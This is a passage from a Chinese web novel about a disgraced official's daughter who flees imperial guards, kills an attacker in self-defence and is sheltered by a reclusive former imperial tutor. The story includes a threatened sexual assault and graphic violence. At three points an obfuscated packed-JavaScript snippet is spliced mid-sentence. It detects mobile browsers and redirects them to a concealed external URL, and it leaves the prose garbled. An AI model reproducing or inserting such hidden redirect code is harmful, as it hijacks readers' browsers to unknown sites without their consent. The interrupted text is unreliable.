她一边乔装一边打听这件事的来龙去脉,新帝登基不过两年,朝廷上从去年年下开始就加重了税赋,国库吃紧,父亲联合一些门生在朝堂上欲重开南海贸易。 但南海边疆盘踞着野心勃勃的弥伽族。当年的南海之变就是善于海事的弥伽族屠了大昶东南的半个岛屿,掠地为邦,因此大昶与弥伽势不两立。 父亲提议打开南海关口必然就绕不过弥伽,可即便如此,父亲也只是建议,绝没有谋乱之心啊。但距离皇帝下诏抄家后,这段时间的布防却是越来越严格,怕是那晚上禁军从家里搜出些什么了? 孟知微虽然不懂这些朝廷上的事,但她也知道孟家处境尴尬,这件事只会大不会小,事到如今,她不能束手待毙,还是得找人商量。 阿姊,对,阿姊。 事情过去这么久了,她都在大街上被张贴告示追捕,但国公府一点动静都没有,说明皇帝至少看在魏国公的面子上没有追究阿姊,如今她还得找个机会去找阿姊才对。 国公府往来宾客多,阿姊爱清净,有喜后就被送到城外的庄子养身子去了。孟知微白日不敢行动,到了晚上才敢偷偷搭上“夜香车”。 车上都是寻常人避之不及的东西,赶驴车的农伯也不会花心思检查,孟知微就是这样,趁着夜色来到魏国公在郊外的庄子。 庄外除了几个府兵之外就是几个嬷嬷,看上去很平静,阿姊应该没有受到牵连。 这会从庄子里出来的这个嬷嬷,孟知微是知道的,去年阿姊归家省亲就是这个嬷嬷陪在身边的,想来是心腹嬷嬷。 孟知微趁她从拐角出来,拦住她的去路。 嬷嬷眼见面前突然蹿出来一个灰不溜秋的人影正欲叫人,孟知微连忙阻拦:“秦嬷嬷,是我。” 秦嬷嬷一边拿着手帕掩着口鼻,一边这才打量一番:“三小姐?” 孟知微:“是我。我阿姊在里面吗?” 秦嬷嬷这才端正了神色:“世子妃在里面,世子妃听闻母家的事,早就吩咐奴婢去找三小姐,可奴婢愚钝,这些天都没有找到三小姐下落。” 孟知微:“阿姊寻我?” 秦嬷嬷:“娘家姐妹岂有不管之理,世子妃吩咐奴婢了,若找到三小姐,引去木屋一叙。今时不同往日,不能在庄子上接待三小姐,还望小姐宽恕。” 孟知微:“嬷嬷这说的是哪里的话,还望嬷嬷引我去。” 孟知微跟着秦嬷嬷往庄子远处走去,绕过一片竹林后见到她说的木屋。进来之后才发现这里长久无人居住,榻上落灰。 秦嬷嬷指引她到此后,只说要回去禀报阿姊。 秦嬷嬷:“世子妃这会子正在午睡,三小姐想必还没有用膳,容奴才去准备饭菜。” 孟知微的肚子饿的咕咕叫,她这些天几乎没有吃上一顿像样的饱饭,她观察了一下木屋地处位置,点了点头。 秦嬷嬷关上门后走了,等她走远后,孟知微就捏起素衣裙摆,从木屋窗里翻身出去,潜进山林里的小路里。 她一路跟过来的时候,就有些奇怪,若是阿姊早有吩咐让这位嬷嬷寻她,为何这位嬷嬷看到她的时候如此淡定,未说两句就说去木屋相聚,且这屋子无人打扫多时,阿姊是最细心的人,若早早就要与她约在这里岂有不打扫之意。 再者刚刚那位嬷嬷说阿姊在午睡,可她是知道的,阿姊从来就没有午睡的习惯,那位嬷嬷应该是扯了个谎骗她……种种迹象表明其中有诈,今天她是万万不能留在这儿了。 如果没猜错的话,府兵马上就会把这里包围,最近巡防的禁军马上也会来到。 孟知微只能从山间小路走,但堆积起来的雪早就把山里的路掩埋了,她只能靠辨别着来时的方向前行。 她在雪地里走了不知多久,掉了叶被大雪掩埋的枝丫每一条看上去都一样,兜兜转转,走到天都逐渐暗下来她都没有走到大路上。 她几乎力竭,用手拖着膝盖辨别着方向。忽从一片白中看到移动过来的两盏灯笼,她心下一安,忙朝着那火光所在的方向走。走的再近些发现两人衣物像是衣裙,似乎是女子。 她加快步伐从山中丛林里下去,快步追上去。 “两位且慢,请问……” 随着孟知微着急的语气,面前两人转过来的时候却让她大惊失色。 山间起雾,她误把那斗篷当做了女人的衣裙,面前这两个人明显是人高马大的男人,且面色凛冽,腰间各自配一把横刀,警惕的眉眼在看到她的时候立刻化成了不怀好意的打量。 “哟,小娘子,这荒郊野岭的,怎流落至此啊。” 即便孟知微把自己的脸涂脏了,可她的身形明眼人一眼就能看出是个年轻的女子。 “抱歉,打扰了。”孟知微眼见对方不善,转头要走,可垂落的手间却被握住,她猛然一回头,身后其中的一个男人已经攥住了她的手臂,若有所指,“怎么能算打扰呢,哥哥们夜行孤独,小娘子正好给我们哥俩解解闷。” 孟知微试图挣脱:“放开。” 她小时学了点三脚猫功夫,甩手的时候很明显感觉到对方也是会功夫的,再加上她以一对二,更是不能强攻。 那男人已经靠近了,他脸下有疤,看清了孟知微的容貌后,像是发现了什么宝贝:“哥,遇到好货了,改明儿拿去醉红楼能卖个好价钱。” “我来瞧瞧。”大红灯笼贴近她的脸,带来灼烧感,两个陌生男人的靠近带来对待猎物的打量,孟知微顿时一阵寒意袭便全身,她握紧了袖子里的短剑。 “正好爷爷我几天未开荤了。你看着她,我去解个手,再往上走有间草屋,咱俩去那儿办,我先你后。” 那个年长交代了两句就往草丛走。 “直肠子,刚吃完就拉。又是你先我后,回回都是你先,凭什么啊。”另外一个只敢等他走后才转过头来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035998|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啐一口。 孟知微浑身发抖,只能强行让自己镇定,顺着他的话说:“我看他吩咐你吩咐的很习惯,想来你也不敢。” “闭嘴,少跟我玩花招,一会儿就办了你!” 孟知微:“天色这么暗,你是怎么确定我的容貌的,若是明日起来一看是个丑八怪,你们也卖不上价钱吧。” “老子阅女无数,一看你的样子就知道。” 孟知微:“我右脸有个胎记,你可看清楚了?” 这话引起对面那人的注意了,他皱着眉头:“少蒙我。” 孟知微见他相信了几分于是继续说道:“真的,不然我把脸涂的那么脏干什么,我的胎记是娘胎带下来的,青紫色的很大一个,明儿去了地,一定是会过水洗一遍的,到时候有问题可不能赖在我头上。” 那男人站在原地。似乎是有些狐疑,最后像是也想确认,于是拿着灯笼靠近了几分,手指沾了雪水,伸手来触碰她的脸。 孟知微感觉到了这种她身体完全反抗的触碰,黏湿的雪水混着男人的味道留在她的脸上,满身的酒气熏得她难受至极,但她依旧还要软着声音:“你站这么远,能看清吗?” 酒后色鬼哪受得了她这一道软声,搓着手再度往前,更加肆无忌惮地擦拭着。 “小娘子,你的皮肤好嫩啊……不如我们不要等我兄长回来了,我们……” “啊!”就在他最靠近的一瞬间,孟知微拿出了袖中的短剑,用力一扎,猛地扎进那个人的眼睛里! 理智告诉她这是最适合的地方,但真的一瞬间做完后,她看到那个人像一只野兽一样在地上扭曲,蛄蛹成雪地里的蠕虫的时候,她还是有些被吓到。 他的左眼还插着她的那把剑,鲜血汩汩地从他那个眼洞里冒出,模样极惨。 她再怎么样也没有动手伤过人,刚刚濒临死亡的意志驱使她这么做,如今回过神来,却站在那儿一动也不敢动。 “你……贱人……贱人!兄长!兄长!” 等到他再度出声,孟知微才回过神来,她垂落在一旁的手控制不住的颤抖,脚被灌了铅一样动弹不得。 跑,唯一的机会了。孟堇,你得跑。 于是下一秒,她往前一步走到躺在地上打滚的男人身边,不带有一丝犹豫的,双手握住匕首柄,用尽全身的力气,一瞬间从他的眼眶里拔出她的匕首。 那是母亲的东西,是临别前她给她的,她不能留给这个脏人。 一瞬间,伴随他痛苦的大叫还有他疯狂的乱舞,拔出的剑再一次带着他的血液和组织,生生溅射在雪白的地上,也溅到她手上那串玉白色的菩提上。 身后的人已经追上来了,愤怒的辱骂撕破刚入的夜,单薄的衣衫被树枝勾破,凛冽的北风往人的脖子里钻,溅射到她衣衫上的鲜血一瞬间冷凝,心脏快要跳出胸腔。 她似乎跑到了官道上,可她却听到身后追她的脚步越来越多,浩浩荡荡的,像是要踏破山河,是那些官兵也追过来了吗? 她跑不动了。 她是有些小聪明的,可爹爹说的没错,她的那些小聪明,终究登不上大雅之堂,也救不了她自己。 难道今晚就便是她命数的终结之时吗? 她像一只无头苍蝇一样闯进张灯结彩的屋舍门外,走投无路下她空洞的眼里却闯进熟悉的身影。 她看到了那两雪里骢! 是那匹送她回家的白马。她不会认错的,因为它依旧在那里,在风雪中高高地抬着头颅。 5. 菩萨蛮 京郊王员外今日嫁女。 屋子头沸反盈天,屋檐下却站着两个人。 身形稍矮一些的抱着刀的少年穿的单薄,半个身子都在屋檐外:“这王员外好生没有礼貌,他嫁女儿就嫁女儿吧,怎的三番两次地上山来打扰先生,大雪夜里还让我们先生出来受冻。” 另一旁那个身形高大的异族人说道:“你小子刚刚喝喜酒的时候怎么不埋怨。” “我早就说不来了,是先生偏要来的,也是奇了怪了,这王员外到底有什么本事能请得动先生。” 高个瞅了少年一眼,得意地摸了摸自己的胡子:“这你就不知道了吧。” “别卖关子了观展哥,与我说说吧。”少年攒着把刀往高个边上挤。 “王员外老来得女,自然金贵。只是这王小姐年少出游,见到一风姿郎君便误了终身,说世间男子若不寻出这样的再也不嫁,直到那年我与先生回山路上风雪太大,借了王员外的屋檐躲雪,受了他一餐热食,席间先生解了眼纱,那王小姐见了先生,嗟叹这世间竟有如此貌美男子,于是重拾信心,认为天下男子还是能有的挑的。” “吓死我了,我以为她硬是要嫁给我家先生。” “先生常年养病,又怎会娶妻室,那王小姐倒也没有强求,王员外感念我们先生救女之恩,几次上山邀请,先生为了还当年的避雪之恩,这才带着你我二人下山随礼。” 少年挠挠头:“我倒听不出来先生到底做了何事对王家有恩了。一见风姿郎君都误终生,那见到我们先生这般谪仙的人物,凡人岂不是更入不了眼。” “傻瓜,凡人能染指,但你都说了先生是谪仙的人物,那王小姐本也是想的,说哪怕没名没分也得和我们先生回解孤山去,可我们先生是怎么样的人物……” “观展。追风。休得胡说。”两人身后传来淡淡的声音。 两人立刻噤了声,站成一横列:“是,先生。” “时候不早了,我们该回去了。” 追风追问到:“先生不等宴席散了吗?” “不了,本就是来随礼的。” 观展把手中的白狐裘大氅给人披上,大氅系带之际远处忽然传来人声。 追风警惕地回头看了一眼,眼见远处过来的一对人马着黑金色甲胄,他原先的神色又松懈下来:“禁军这些天倒是打起了十二分的精神,也不知道又在捉拿谁。” 原先眯着眼睡觉的“飞虎”却像是惊到了,长嘶一声后,原地踏了几步。 雪里骢有灵性,它这一叫,门外停着的马车上的马也都纷纷踏足不安,一时间马夫都看不住,乱成一团。 就在这混乱中,一道近乎有些瘦小的身影钻进了其中一辆马车底。 她浑身上下破败不堪,头发简单地束成一个男人发髻模样,混沌的夜色里,她露出的那一张小脸也是模糊不清的,只有那一双眼睛依旧明亮,但却也充满了惊恐,像是围场里面被猎人追到无处可逃的幼小的鹿。 马车底下有一个暗格,原是为放行李用的,躲一个成年男子自是不行,但她身材瘦小,将将挤下。 她蜷缩着身子躲得很进去,一边警惕地观察四周,一边在慌里慌张地擦拭手肘上的什么东西。 马车距离他们不远,追风很快就发现了,他立刻要往前一步阻拦:“哪里来的小乞丐,怎么躲到我们马车下面了。” 他欲往前的步伐却被身旁的人拦住。 追风不解地看向一旁一动不动的人:“先生?” 雪夜倒光里,马车下的人手肘上的那串青白玉菩提如同月色,却又染了脏污的血迹,一瞬间让人想起当年正阳门的月光、悬挂着的已干血迹的残骸被鸦羽片片蚕食……还有那挡不住的孩童夜夜啼哭。 “先生?” 观展再度出声,出神的人才回过神来,他回头,嘱咐道:“我眼睛乏了。” 观展忙拿出那遮眼的轻纱来。 这轻纱材质特殊,既不真的遮挡视线,又能降低周围过于伤眼的光来。 “时候不早了,我们回吧。”蒙完眼纱的人这么说了一句,就往马车方向走。 “这……”追光在身后着急地直跺脚,“有贼寇上车先生不仅不让我逮他,还视若无睹……展大哥,你也不管?” 观展走到他旁边拍了拍他的肩膀,跟上前去。 —— 孟知微躲在狭窄的空间里,听到马车上头传来的声响,而后没多久,她有短暂的失重感,这之后,摇晃之中她感觉到了车子在行进。 她这才松了一口气。 只要等到马车行进走出追兵过来的包围圈,她就安全了。 只是马车还未行进多久,远处的兵马脚踏声却靠近。 车外传来一个将领威严的声音:“站住,捉拿朝廷要犯,例行车马检查。” 车子被拦下来,四周有些安静,躲在暗格里的孟知微只听到风雪簌簌的声音,她从半开的暗格里看到沾满泥雪的军靴出现在他面前,然后暗格上端传来“咯咯咯”的声音,那表明官兵已经发现了这道暗格。 面前的军靴皱成一道痕,孟知微要被发现的下一秒,马车上头传来一个清冷的声音:“何人?何事?” 原先要附身下来的人听到声音后站直身体,之前嚣张的将领的声音此刻却变得战战兢兢:“属下不知是先生,属下叨扰,属下罪该万死。” “风雪夜我急于回程,你们莫要挡路。” “是。” 于是那些追兵和被虎嗅过的鸦雀一般一哄而散。 但车子却没有立刻前行,暗格壁面上倒影出晃动的树杈,一颤一颤的,宛如她此刻还没有平复下来的心跳。 雪已经停了,诡异的雾气也都消失了,明亮的远光下,车底伸进来一只修长的手。 她下意识地往后缩,或许是察觉到她这种害怕,那只手又收了回去。 她这才掀开劫后余生格外沉重的睫毛。眼前男人着一身清冷月白衫,银发过腰,眼前蒙了一层轻纱。 她听说天子少师,姓温字淮川,少年白发,曾有眼疾,天子上位后隐居山林。 这位,便应当是半月前,她随兄长上山求学问道,兄长口中的那位“先生”了。 只是她潜意识里认为夫子先生,必然是年长威严,却没有见过这般清风疏离的。 原来雪里骢是他的,那夜送她马的人是他。 站在外面的人音冷如霜月:“出来吧。” 她这才从狭窄的暗格里出来。 行人已消迹,安静的夜色里只能听到白马偶尔的喷鼻声。 那个疏离的男人站在她的面前,负手而立,在刮过的冷风吹动她衣衫而发出的猎猎声里,他淡淡出声:“他们已经走了。” 这句是驱逐之意,但月下单薄的身影坍缩成一团,却没有动静。 温淮川望着眼前的人,直到她开始挪动步伐后,他才背身而去。 “先生。” 少女出声,音如冬日畏寒的莺。 面前的人转过来。 孟知微整顿后稍稍俯身作揖:“兄长半月前借走先生古籍,家中变故,故未能按时还于先生。” “无妨。”依旧是没什么情绪起伏的音调。 “今日多谢。” “举手之劳。” 举手之劳?他本就是天子老师,虽不过问世事,但一定知道禁军搜捕捉拿的是朝廷要犯,如此之恩,已然该是大谢的。 她下意识地去袖口里摩挲,如同从前那般指望从自己的袖口中摸出什么宝贝来作为答谢,但反应过来后才略显窘迫,她袖中只有半个浸了雪水被泡发的馍。 但也是她这个动作把手边的袖子捋了一些上去,那原先被衣衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035999|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩盖的菩提串子又露了出来。 这一次,他真切地看清了那串手环的样子,那其中刚露出的那一颗珠子,和记忆中的一样,是缺了一角的。 孟知微为自己为自己下意识的动作感到窘迫,她立在那儿,手脚发凉,理智告诉她她要走了,可脑中浮现的记忆是兄长总说这位先生是学识渊博,腹有经纶之人。如今兄长入狱,再见他心中所崇拜之人,总觉从前兄长目不窥园,如今却物是人非,不免有些心中感慨。 “孟三小姐未来可有什么打算。” 这一声没什么波澜的声音把孟知微拉回现实。 打算? 她有何打算呢,父母生死未定,兄长仕途堪忧,唯一能和她商量的阿姊恐怕也是自身难保。父亲和母亲只叫她走到天南海北去,可这浩渺人间,何处又是安身之地呢。 “我暂时……还没什么打算。”她的声音低低的,丧气极了。 “孟家的事一时半会还不会有结果,若是孟三小姐不嫌弃,解孤山后山僻静,想来无人打扰。” 孟知微听到这话猛然抬头:“先生的意思是我可住在山中?” “自然。”月下蒙眼的人答到。 孟知微不晓得他是否看得到她,但比起破庙里的风餐露宿和时不时的恶人骚扰,原先被她嫌弃的解孤山如今可亲近多了。 孟知微又诺诺:“可我是罪臣之女,先生……先生本是天子老师,私藏罪臣之女,恐拖累先生。” “我若是怕,刚刚就不会帮你。”随他话音落的还有他递过来的被叠的四四方方的帕巾。 孟知微抬头看他。 月色下,他的轮廓上有一层盈盈的光,却不似雪的那种冷冰冰的光晕,更似玉。 “脸。” “哦。”她反应过来自己的脸应该很脏,迅速抹了一把之后,他给她的那块洁白的帕子上一瞬间就沾上脏污,竟然还有些未干的血渍。 所以他能看到,且她刚刚是这样面容可怖地与他说话。 帕巾被她攥在手里。 一尺之远的人已经背过身去:“跟我来。” 她安静地跟在身后。 她本不是一个安静的人,可现在,她总觉得她不该发出一点声音。 “我身体弱,不便骑马,只能委屈孟三小姐与我同乘。” 孟知微连忙说道:“不如我骑马同去。我会骑马。” 上车的人转过来。 即便轻纱蒙住了他的眼睛,她也能感觉到他的目光在穿透她。 他未有情绪的声音再度响起:“你是罪臣之女。” 很直接,也很客观。 尚且要藏在暗格的人,又怎么能迎风架马。 孟知微跟着进了马车里。 马车很宽敞。 她从前出游,马车颠簸,她都是让九儿垫着厚厚的软垫,备着瓜果,拿着话本让九儿讲给她听。 如今她只是拘谨地缩在一个角落里,目不敢斜视。 两人之后就未再讲话了。 直到孟知微的肚子忽然不争气的“咕咕咕”起来,她抬头看向对面的人,对面的人蒙着轻纱,太有距离感,这让她觉得自己的这一声咕叫也是打扰。 他却叫停了马车。 “追风。” 抱刀的少年已经来到窗下:“先生。” 这位先生这才转过来,对着孟知微说:“孟三小姐,想吃什么?” 原是被听到了。 既然如此,孟知微也没有扭捏:“可以有包子吗。” “去街市上买两个包子。” 热腾腾的包子给了她无限的想象,她忙不迭地补充道:“要肉包子,很大个的。” 说完之后立刻又觉得自己无拘放肆,她掩嘴,却只听到他原模原样地与窗外说道: “嗯,要肉包子,很大个的。” 6. 菩萨蛮 追风买了肉包子回来,抱着剑在马车外和观展说小话。 “展大哥,你有没有觉得先生很奇怪。” 观展拿了个胡萝卜在那儿给飞虎吃:“先生行事,你我照做就是。” 追风:“可往常先生别说用餐了,就是有气味的东西,他都不让我往马车上搬,如今倒好,让人在车里吃包子,还吃的是肉包子。说起来这孟三小姐也不大体面,肉包子吃的满手满嘴的都是油,也不怕误了女儿家的形象。” 观展:“她家横生变故,难免落魄。再说,你小子如今人模狗样了就开始说起别人来了,先生捡到你的时候,你还不是饿的能吃下一头牛。” 追风:“我从前那是没爹教没娘爱才不知礼义廉耻为何物,如今在先生身边听他讲学耳濡目染,自然不同。” “与我身边听我讲学,你就该知道什么是躬自厚而薄责于人。” 两人见身后过来的人,连忙作揖。 追风脸上红一阵白一阵。 “往后这样的话,不要再说了。” “是。” —— 这是孟知微最近吃的最饱的一顿。 她饿了这么些天的肚子,突然发现人的欲望,都是在口腹之欲之后才生长出来的。 吃不饱饭的时候,她那些想法都是空谈,生活里更多的也充满着泥泞,她抬头看不到过去那般干净湛蓝的天。 但吃饱了饭,她虽然对未来依旧迷茫,但却短暂的让她变得更有安全感了。 那种短暂的安全感,足以让她有那么一瞬间的昏昏欲睡。 马车晃晃悠悠中,她竟然真的睡着了,她的身上不再是湿哒哒地永远带着逃亡的雪水,而是变成九儿在一旁温着茶炉,那值千金的茶香预告着春天来临的万物复苏,带着勃勃生机往她的鼻腔里钻。 等她醒来后,才发现马车里竟然煮着一壶茶,茶香袅袅盘旋在马车上端。 她忙擦了嘴角的口水,学着从前母亲教过的样子做得端端正正的:“先生雅兴。” 马车本是颠簸的,但煮茶斟茶的人却坐的意外的稳当,他似乎习惯用左手,孟知微也不知从哪里听说的,说用左手的人早慧。 她虽不懂朝政,但父亲兄长谈话时她也听得一二。原先父亲是不愿意兄长去解孤上的,因为当今天子还是太子的时候,党派相争严重,便是这位先生一路辅佐他上位。夺嫡之路凶险无比,权臣弄术,父亲是清流,自然不愿意与他过近。 直到这位天子少师弃了京城的一切自愿入到这解孤山,朝堂上才流传出他已身患顽疾,不再参与世事的消息。他只愿做个有教无类的教书先生,探讨儒学,研读孔孟,圣上留不住他,也就只给了一个名誉官衔,不掌实权。 孟知微呆呆的看着面前的人,他清风朗月,似乎不像是父亲所说纵横捭阖的权臣。 桌面上的置水声打断了她遥远的想法,她望了望送到她身边来的水杯:“多谢。” “只是粗茶。” 她微微抿了一口,的确不是什么名贵的茶叶,但入口清冽,又不过分清爽,不高不低的水温恰好驱散她身上的温度。 “解孤山后山孤僻偏远,寻常之人不会上来,你入夜后就住到后山的竹屋,那儿还算干净,只不过我房中未有女仆,还得委屈孟三小姐了。” “岂敢劳烦先生。”孟知微连忙放下茶杯来谢,“有容身之所已得先生大恩,小女子已经无以为报了。” 他便盘腿而坐,不再有言了,徒留矮桌上那壶茶飘着白气,逐渐变冷,甚是可惜。 孟知微看不到他的眼睛,所以不知道他是在闭目还是睁着,她试探地问到:“先生,您不喝茶了吗?” “夜深难眠。” 是吗? 她倒是有些回味这种甘醇。 “我可以喝吗,我不会睡不着。” “嗯。” 于是孟知微便拿过茶盏,但她似乎把一切都想的太容易了,马车颠簸,她手里的茶壶的口怎么对都对不上那茶盏,模样很是滑稽。 似乎是一声很轻很轻的笑,轻到孟知微都感觉到自己出现了幻觉,而后她手中的茶壶被对面的人拿过。 那水流一气呵成,盘成一个温柔的漩涡,卧在茶盏里。 “为何这茶壶在您手上更听话些?” 他重新卧了两个茶盏,有条不紊地左手握着茶壶,给另外两个也倒满:“手熟罢了。” 三个茶盏都满了,他朝向她,问她:“可够了?” “够了够了。”孟知微带着失礼的窘迫。 待到她把三个茶盏的茶都喝完了后,马车已经停在了解孤山的庭院前。 孟知微一下车,观展就过来:“孟三小姐,属下为您引路去后山休息。” 孟知微望了望已经前面远去的背影,点了点头。 后山其实不远。 解孤山的整体院落建筑没有她之前在梅园那一片好,但一到夜里,前厅到后院都点满了昏黄的烛火。 或许是因为考虑到那位先生的眼疾,这里的烛火更为柔和。 竹屋外头的牌匾写着“墨居”二子,推开门,空气里是淡淡的墨香混着梅香,还有一些微不可察的药香,让人顿时就心神安宁。 炉碳盆里燃着银炭,微小的霹雳啪啦的声音在安静的山里显得却明显。 一张软塌,足够厚的被褥,以及色彩雅致的男款的换洗衣衫是那个叫做追风的少年拿过来的。 他极为不舍,大约是没有穿过的爱物。 久违的一间温暖的房间和一个能让人安眠的夜,像极了从前她无忧无虑的日子。 孟知微望着窗外纷扬的大雪,没想到以前觉得稀松平常的日子却在此时此刻变成了一种奢侈。 她躺了一会,像是想到了什么,又起来,从自己的衣衫底下把母亲的那把短剑拿出来。 灵活机关一摁,刀剑出鞘,她细细地擦拭着,靠近炭火,让火光的灼热驱走那些污人的血。 —— 第二天一大早,追风刚起打开院落的门,伸懒腰的时候被吓了一跳,院门口比他的脸还干净。 院中那人穿了那身他之前因为没舍得后面窜个子就穿不上了的衣服,拿着把大大的扫帚,手脚并做的在那儿扫雪扫得勤快。 一起惊讶的还有饿着肚子过来讨早饭的唐子玉,他折扇都还没有打开就被这院落里的景象吓到,犹豫着不知该不该往前了。 还是孟知微先与他打的招呼:“唐阁主好。” 唐子玉讪讪:“孟三小姐?你怎么在这?” 孟知微:“知微家中遭难,亏得先生援手,让我暂住解孤山。” 唐子玉点头:“原始如此。” 而后他眼神又落在她的扫帚上,又问她:“这院落的雪都是你扫的?” 孟知微点点头:“是!唐阁主以为比起修剪梅园,如何?” 唐子玉伸出大拇指:“大刀阔斧,骨骼惊奇,孟三小姐实非一般小女子。” 就是说她干得好。孟知微得了夸奖,扫得更勤快些。 唐子玉匆匆走进庭院,眼见亭子中摆了一桌早膳,温淮川正蒙着眼纱在那儿吃饭。他二话不说夺过一碗清粥,舀了几口连连摇头:“你宅中食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036000|178679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎还如此这般难吃。” 温淮川却不紧不慢:“那你还不是隔三差五都来。” 唐子玉嫌弃地看了一圈桌面上的吃食,最后勉为其难地吃了一张胡饼,他看着院落里忙碌的声音,又问他:“你怎么把她给弄回来了。” “路上相遇,实为巧合。” 唐子玉:“你可不是路见不平拔刀相助的人。” 他换了个姿势继续吃胡饼:“我可听说了,禁军在孟府搜出与孟大人与弥伽族议政大臣的往来信件,内阁联合朝中众臣再三上奏,即便你那位学生再有心保老臣,人证物证俱在,这铡刀也不得不落下。” 面前的男子只是重复着舀粥的动作:“你打听这么多,就不怕引火烧身。” 唐子玉切了一声:“你把这孟堇带回来,你都不怕引火烧身,我怕什么。” 他说完又伸长脖子看向院落里的人:“这孟三小姐不通女工,不善诗书,但也不是一无所长,比如她扫地,就扫的蛮好。” 温淮川:“她大约是住在这儿难安。” 唐子玉看了看眼前倒茶说话的人,若有所思,又转过去高声叫到:“孟三小姐,别扫了,过来用早膳。” 孟知微远远听到,转头说到:“谢谢唐阁主,我已用过了。” “用过了,起的这般早?”唐子玉倒是有些惊讶,他侧身看向温淮川,“这孟三小姐倒是士别三日,当刮目相待啊。” 面前的人却没接他的话题,放下茶盏:“我有一事,还得你帮我去查。” 唐子玉:“稀奇,难得还有你问我事时候。” 他抓了一把餐桌上的果脯:“我百晓阁的‘鸽子’通晓世事,可是千金难求。” 温淮川:“前年你从我这儿拿走的一只山参,去年我院子丢的两坛桂花酿,还有前些日子孟三小姐因为贪看你的梅花跌落滑碎的三块青瓦,都可以一笔勾销。” 唐子玉闻言咬了咬牙:“山参美酒也就算了,三块青瓦你记到现在!” 温淮川:“那青瓦纹路对称,手制遗品。” 唐子玉:“明明就是你自己活的泥!” “那也是手制孤品。” 唐子玉:…… “一毛不拔!你简直一毛不拔!” 温淮川:“莫不是我要问之事,你唐阁主查不出来。” 唐子玉:“笑话!全天下就没我不知道的事。我倒要听听是何事!” 温淮川这才给倒了一盏茶,推到唐子玉面前:“我有一故交,他有一爱物,是十六个青白色菩提串子做成的手串,那菩提成色极好,避光时是天青烟雨色,见光时是夜明月白色,是极为难得的物品。” 唐子玉:“这么难得的东西,我倒还是有兴趣,你上次见它是什么时候?” “十年前。” 唐子玉:“十年前的东西你让我去寻?” 他满脸不悦:“再者,你什么时候有了十年的故交了,我自认为与你亲近,却是三年五载不过也刚够形容。” 温淮川:“东西我已经寻到了。” 唐子玉挥了折扇:“寻到了你还与我说什么。” 温淮川却看向庭院里卖力打扫的人,缓缓地说出一句: “我想知道是不是。” 唐子玉:“什么是不是?是什么?” 可温淮川确没有说话。 “哎,温淮川?温确?” …… 身边的人说的什么逐渐在耳边远去。 屋檐融雪,簌簌入苍茫。 是与不是? 这便是他在世间,唯一放不下的事了。 7. 菩萨蛮 孟知微把院子里扫得干干净净的。 接下来,她就没什么事可做了。她甚至学着从前从玄学星象古籍里看到的那样夜观天象,希望明日起来雪又过膝,也好过她无事可做。 但雪却在融化。 好在观展给她带来阿姊安好的消息,只是国公府防备森严,怕阿姊被母家所累,所以软禁了她的足。 这也好,孟家诸事,总是与她安胎无益的。 孟知微微偷偷下过几次山,她混在市井里打听消息,朝堂上为了他父亲的事争吵不休,孟家虽满门落狱,但最后的处决一直未出。 连阿姊身边都遍布了眼线,与父亲交好的几个官宦叔伯断然不可妄去,所以孟知微也得不到实际的消息。 她心中着急,可解孤山的日月却是静止一般。 山中最近来学堂入学的人都是平民家中子弟,孟知微着男装被安排在其中授课学习。 之乎者也里,她满心都愁于心中之事,神游太虚。 课后,学生解散,温先生却独独把她留了下来。 他虽眼蒙轻纱,却似乎什么都看得到。戒尺落在她的桌面,惊起细密的尘埃。 “抱歉,先生。” “你不愿意读书。”不知道是疑问还是肯定句。 孟知微实话实说:“女子读书,本是无用的,不说女德女训迂腐规矩,哪怕四书五经全都读完了,女子又不能科考做官,更不能称王做帝。蝼蚁长了翅膀还是蝼蚁,毫无助力,反倒是异样。” 温先生一直端坐在对面,外面融雪如落雨,滴滴答答让人心烦,但他却岿然未动,脊背笔直: “若是因为女子不能科考做官,不能称王做帝,世间女子都不再学四书五经,政治法理,那岂不是永远都不会有女子去破这千古桎梏。” 他的声音明明不高,语气也还是那般平淡,但这句话,却如同一道惊雷一样,撕破她心中总是晦暗的那些夜。 她猛然抬头看他,他依旧坐在那儿,因为常年养病,他的身躯偏瘦,下颌线分明硬朗。 她第一次生出一个念头,她想看看轻纱下面,到底是怎样的一双眼睛。 他却起身,背身而去,进入雪融而构筑的虚幻春雨里。 —— 不知是不是因为不想强人所难,后来的课,温先生一次都没有再让观展来叫过她。 她每日都来往于山上山下,雪停的某一日深夜,她回到山中,本该灭灯的前院却灯火通明。 孟知微一到,观展就过来说,温先生在等她。 孟知微匆匆掸了掸身上的雨丝,入了前厅。 孟知微作揖:“先生您寻我。” 